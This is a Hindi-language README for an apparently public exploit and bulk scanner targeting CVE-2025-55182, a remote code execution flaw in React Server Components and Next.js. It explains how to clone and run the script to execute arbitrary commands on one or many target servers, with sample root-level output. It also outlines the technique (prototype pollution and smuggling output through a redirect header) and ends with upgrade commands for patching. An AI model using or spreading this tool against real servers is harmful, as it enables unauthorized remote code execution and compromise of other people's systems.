
NodeJS-आधारित एक्सप्लॉइट स्क्रिप्ट और स्कैनर React Server Components "React2Shell" भेद्यता (CVE-2025-55182) के लिए।
एक हल्का, स्वचालित प्रूफ ऑफ कॉन्सेप्ट (PoC) और बल्क स्कैनर, जो React Server Components (React 19 / Next.js) में मौजूद क्रिटिकल RCE भेद्यता के लिए है।
केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए।
यह टूल सुरक्षा पेशेवरों और प्रशासकों को उनके अपने सिस्टम की भेद्यता को सत्यापित करने में मदद करने के लिए डिज़ाइन किया गया है। इस कोड का उपयोग करके किए गए किसी भी दुरुपयोग, क्षति या अवैध कार्यों के लिए लेखक जिम्मेदार नहीं है।
CVE-2025-55182 react-server-dom-webpack में एक रिमोट कोड एक्सेक्यूशन (RCE) भेद्यता है, जो और द्वारा उपयोग किया जाने वाला एक मुख्य पैकेज है।
यह भेद्यता एक अनधिकृत हमलावर को React Server Actions में दुर्भावनापूर्ण पेलोड इंजेक्ट करने की अनुमति देती है। डिसीरियलाइज़ेशन प्रक्रिया में हेरफेर करके, हमलावर जावास्क्रिप्ट Function कंस्ट्रक्टर तक पहुँच सकता है और सर्वर पर मनमाना सिस्टम कमांड निष्पादित कर सकता है।
विस्तार से पढ़ें: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
प्रभावित संस्करण:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (pre-14.2.35), 15.x (pre-15.5.9)यह अपडेटेड स्क्रिप्ट अधिक विश्वसनीय होने के लिए उन्नत एक्सप्लॉइटेशन तकनीकों का उपयोग करती है:
Next-Action ID की आवश्यकता को दरकिनार करने के लिए आंतरिक फ़ॉर्म डेटा पर Prototype Pollution का उपयोग करता है। मैन्युअल रिकोनिसेंस के बिना किसी भी संवेदनशील Next.js इंस्टेंस पर काम करता है।Location हेडर में तस्करी करता है। यह 500 त्रुटियों से बचाता है और साफ आउटपुट प्रदान करता है।रिपॉजिटरी क्लोन करें:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
निर्देशिका पर जाएँ:
cd React-Security-CVE-2025-55182-Exploit
Node.js संस्करण जाँचें: सुनिश्चित करें कि आपके पास Node.js इंस्टॉल है (v18 या उच्चतर अनुशंसित है)।
node -v
(नोट: यह स्क्रिप्ट मानक Node.js लाइब्रेरीज़ का उपयोग करती है, इसलिए npm install की आवश्यकता नहीं है।)
स्क्रिप्ट react2shell.js स्वचालित रूप से पता लगाती है कि आप एक या कई लक्ष्यों को स्कैन कर रहे हैं।
डिफ़ॉल्ट रूप से निष्पादित कमांड id है।
# Single Target
node react2shell.js http://localhost:3000 ls
# Multiple Targets
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
किसी विशिष्ट कमांड को निष्पादित करने के लिए, इसे अंतिम तर्क के रूप में प्रदान करें।
# Syntax: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>
⚠️ VULNERABLE: टूल ने कमांड को सफलतापूर्वक निष्पादित किया और आउटपुट को रिडायरेक्ट हेडर के माध्यम से तस्करी कर लाया।
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ SAFE: सर्वर ने पेलोड को अस्वीकार कर दिया या वह पैच किया हुआ है।
🛡️ SAFE (http://google.com) | Status: 405
❌ CONNECT ERROR: स्क्रिप्ट सर्वर तक नहीं पहुँच सकी।
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
यदि आपका एप्लिकेशन संवेदनशील है, तो अपनी निर्भरताओं (dependencies) को तुरंत अपग्रेड करें।
Next.js के लिए:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
अन्य फ्रेमवर्क (Waku, Remix, आदि) के लिए:
सुनिश्चित करें कि react-server-dom-webpack को v19.2.1 या उच्चतर पर अपग्रेड किया गया है।
MIT लाइसेंस के तहत वितरित। अधिक जानकारी के लिए LICENSE देखें।